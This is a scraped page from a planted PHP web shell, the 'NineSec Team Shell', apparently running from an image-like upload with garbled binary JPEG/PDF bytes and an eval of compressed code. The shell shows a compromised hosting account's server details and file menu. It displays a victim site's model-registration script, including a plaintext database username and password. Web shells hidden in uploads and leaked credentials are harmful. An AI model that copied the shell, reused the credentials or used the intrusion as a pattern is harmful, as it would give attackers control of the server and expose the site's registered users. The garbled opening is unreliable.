JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/register_model.php
<?php
header('Content-Type: application/json');

// Enable error reporting
error_reporting(E_ALL);
ini_set('display_errors', 1);

$response = ['success' => false, 'message' => ''];

try {
    // Database configuration
    $host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";

    
    // Connect to database
   $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $user, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        throw new Exception('Invalid request method');
    }

    // Start transaction
    $pdo->beginTransaction();

    // STEP 1: USER REGISTRATION DATA
    // Validate required fields for step 1
    $requiredStep1 = ['first_name', 'last_name', 'username', 'email', 'password', 
                        'city', 'mobile_number', 'languages', 'bio', 'location'];
    
    foreach ($requiredStep1 as $field) {
        if (empty($_POST[$field])) {
            throw new Exception("Field $field is required");
        }
    }

    // Sanitize inputs
    $firstName = htmlspecialchars($_POST['first_name']);
    $lastName = htmlspecialchars($_POST['last_name']);
    $username = htmlspecialchars($_POST['username']);
    $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
    $rawPassword = $_POST['password'];
    $city = htmlspecialchars($_POST['city']);
    $location = htmlspecialchars($_POST['location']);
    $mobileNumber = htmlspecialchars($_POST['mobile_number']);
    $whatsappNumber = htmlspecialchars($_POST['whatsapp_number'] ?? '');
    $languages = htmlspecialchars($_POST['languages']);
    $bio = htmlspecialchars($_POST['bio']);

    // Check if email is valid
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        throw new Exception('Invalid email address');
    }

    // Check password length
    if (strlen($rawPassword) < 8) {
        throw new Exception('Password must be at least 8 characters');
    }

    // Check if username/email exists
    $stmt = $pdo->prepare("SELECT id FROM users WHERE username = ? OR email = ?");
    $stmt->execute([$username, $email]);
    if ($stmt->rowCount() > 0) {
        throw new Exception('Username or email already exists');
    }

    // Hash password
    $hashedPassword = password_hash($rawPassword, PASSWORD_DEFAULT);

    // Handle profile picture upload
    $profilePic = null;
    if (!empty($_FILES['profile_pic']['name'])) {
        $uploadDir = 'uploads/profile_pics/';
        if (!file_exists($uploadDir)) {
            if (!mkdir($uploadDir, 0777, true)) {
                throw new Exception('Failed to create upload directory');
            }
        }

        $file = $_FILES['profile_pic'];
        $fileExt = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        $allowedExt = ['jpg', 'jpeg', 'png', 'gif'];

        if (!in_array($fileExt, $allowedExt)) {
            throw new Exception('Invalid file type. Only JPG, JPEG, PNG, GIF allowed');
        }

        if ($file['size'] > 5 * 1024 * 1024) {
            throw new Exception('File size exceeds 5MB limit');
        }

        $uniqueName = uniqid() . '.' . $fileExt;
        $destination = $uploadDir . $uniqueName;

        if (!move_uploaded_file($file['tmp_name'], $destination)) {
            throw new Exception('Failed to upload profile picture');
        }

        $profilePic = $destination;
    }

    // Insert user data
    $stmt = $pdo->prepare("
        INSERT INTO users (
            username, email, password, user_type, first_name, last_name, bio, 
            profile_pic, location, city, languages, mobile_number, 
            whatsapp_number, is_verified, created_at, updated_at
        ) VALUES (
            ?, ?, ?, 'model', ?, ?, ?, ?, ?, ?, ?, ?, ?, 0, NOW(), NOW()
        )
    ");

    $stmt->execute([
        $username,
        $email,
        $hashedPassword,
        $firstName,
        $lastName,
        $bio,
        $profilePic,
        $location,
        $city,
        $languages,
        $mobileNumber,
        $whatsappNumber
    ]);

    $userId = $pdo->lastInsertId();

    // STEP 2: MODEL PROFILE DATA
    // Validate required fields for step 2
    $requiredStep2 = ['height', 'weight', 'bust', 'waist', 'hips', 
                     'hair_color', 'eye_color', 'skin_tone', 'rate_card'];
    
    foreach ($requiredStep2 as $field) {
        if (empty($_POST[$field])) {
            throw new Exception("Field $field is required");
        }
    }

    // Sanitize inputs
    $height = (float)$_POST['height'];
    $weight = (float)$_POST['weight'];
    $bust = (float)$_POST['bust'];
    $waist = (float)$_POST['waist'];
    $hips = (float)$_POST['hips'];
    $hairColor = htmlspecialchars($_POST['hair_color']);
    $eyeColor = htmlspecialchars($_POST['eye_color']);
    $skinTone = htmlspecialchars($_POST['skin_tone']);
    $rateCard = htmlspecialchars($_POST['rate_card']);
    $travelAvailability = isset($_POST['travel_availability']) ? 1 : 0;

    // Insert model profile data
    $stmt = $pdo->prepare("
        INSERT INTO model_profiles (
            user_id, height, weight, bust, waist, hips, hair_color, 
            eye_color, skin_tone, rate_card, travel_availability
        ) VALUES (
            ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
        )
    ");

    $stmt->execute([
        $userId,
        $height,
        $weight,
        $bust,
        $waist,
        $hips,
        $hairColor,
        $eyeColor,
        $skinTone,
        $rateCard,
        $travelAvailability
    ]);

    // STEP 3: PORTFOLIO IMAGES
    if (empty($_FILES['portfolio_images']['name'][0])) {
        throw new Exception('At least one portfolio image is required');
    }

    // Handle portfolio images upload
    $uploadDir = 'uploads/portfolio/';
    if (!file_exists($uploadDir)) {
        if (!mkdir($uploadDir, 0777, true)) {
            throw new Exception('Failed to create portfolio upload directory');
        }
    }

    $portfolioImages = $_FILES['portfolio_images'];
    $allowedExt = ['jpg', 'jpeg', 'png', 'gif'];
    $maxFileSize = 5 * 1024 * 1024; // 5MB

    foreach ($portfolioImages['name'] as $key => $name) {
        $fileExt = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        $fileSize = $portfolioImages['size'][$key];
        $tmpName = $portfolioImages['tmp_name'][$key];

        // Validate file
        if (!in_array($fileExt, $allowedExt)) {
            throw new Exception("Invalid file type for $name. Only JPG, JPEG, PNG, GIF allowed");
        }

        if ($fileSize > $maxFileSize) {
            throw new Exception("File $name exceeds 5MB limit");
        }

        // Generate unique filename
        $uniqueName = uniqid() . '.' . $fileExt;
        $destination = $uploadDir . $uniqueName;

        if (!move_uploaded_file($tmpName, $destination)) {
            throw new Exception("Failed to upload portfolio image $name");
        }

        // Insert portfolio item
        $stmt = $pdo->prepare("
            INSERT INTO portfolio_items (
                user_id, image_url, category, title, description, created_at
            ) VALUES (
                ?, ?, 'model', ?, '', NOW()
            )
        ");

        $stmt->execute([
            $userId,
            $destination,
            pathinfo($name, PATHINFO_FILENAME) // Using filename as title
        ]);
    }

    // Commit transaction if all operations succeeded
    $pdo->commit();

    // Send confirmation email using mail() function
    $to = $email;
$subject = 'Welcome to Miss Chhattisgarh - Registration Confirmation';

// HTML email content
$message = '
<!DOCTYPE html>
<html>
<head>
    <style>
        body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
        .container { max-width: 600px; margin: 0 auto; padding: 20px; }
        .header { background-color: #d4af37; padding: 20px; text-align: center; }
        .content { padding: 20px; background-color: #f9f9f9; }
        .footer { text-align: center; padding: 10px; font-size: 12px; color: #777; }
        .button {
            display: inline-block; padding: 10px 20px; background-color: #d4af37; 
            color: #000 !important; text-decoration: none; border-radius: 5px; 
            font-weight: bold; margin: 15px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1 style="color: #000; margin: 0;">MissChhattisgarh</h1>
        </div>
        <div class="content">
            <h2>Welcome, '.htmlspecialchars($firstName).'!</h2>
            <p>Thank you for registering with MissChhattisgarh. Your account has been successfully created.</p>
            <p>Here are your account details:</p>
            <p><strong>Username:</strong> '.htmlspecialchars($username).'<br>
            <strong>Email:</strong> '.htmlspecialchars($email).'</p>
            <p>You can now log in to your account and start building your modeling portfolio.</p>
            <p style="text-align: center;">
                <a href="https://misschhattisgarh.com/login.php" class="button">Login to Your Account</a>
            </p>
            <p>If you have any questions, please contact our support team at support@misschhattisgarh.com</p>
        </div>
        <div class="footer">
            <p>&copy; '.date('Y').' MissChhattisgarh. All rights reserved.</p>
        </div>
    </div>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=UTF-8\r\n";

// Additional headers
$headers .= "From: MissChhattisgarh <noreply@misschhattisgarh.com>\r\n";
$headers .= "Reply-To: no-reply@misschhattisgarh.com\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();

// Send email
if (mail($to, $subject, $message, $headers)) {
    error_log("Confirmation email sent to: " . $email);
} else {
    error_log("Failed to send confirmation email to: " . $email);
    // Get the last error
    $lastError = error_get_last();
    if ($lastError !== null) {
        error_log("Mail error: " . print_r($lastError, true));
    }
    // Continue with registration even if email fails
}

    $response['success'] = true;
    $response['message'] = 'Registration successful! Please check your email for confirmation.';

} catch (PDOException $e) {
    if (isset($pdo) && $pdo->inTransaction()) {
        $pdo->rollBack();
    }
    $response['message'] = 'Database error: ' . $e->getMessage();
    error_log("Database Error: " . $e->getMessage());
} catch (Exception $e) {
    if (isset($pdo) && $pdo->inTransaction()) {
        $pdo->rollBack();
    }
    $response['message'] = $e->getMessage();
    error_log("Registration Error: " . $e->getMessage());
}

echo json_encode($response);
?>

NineSec Team - 2022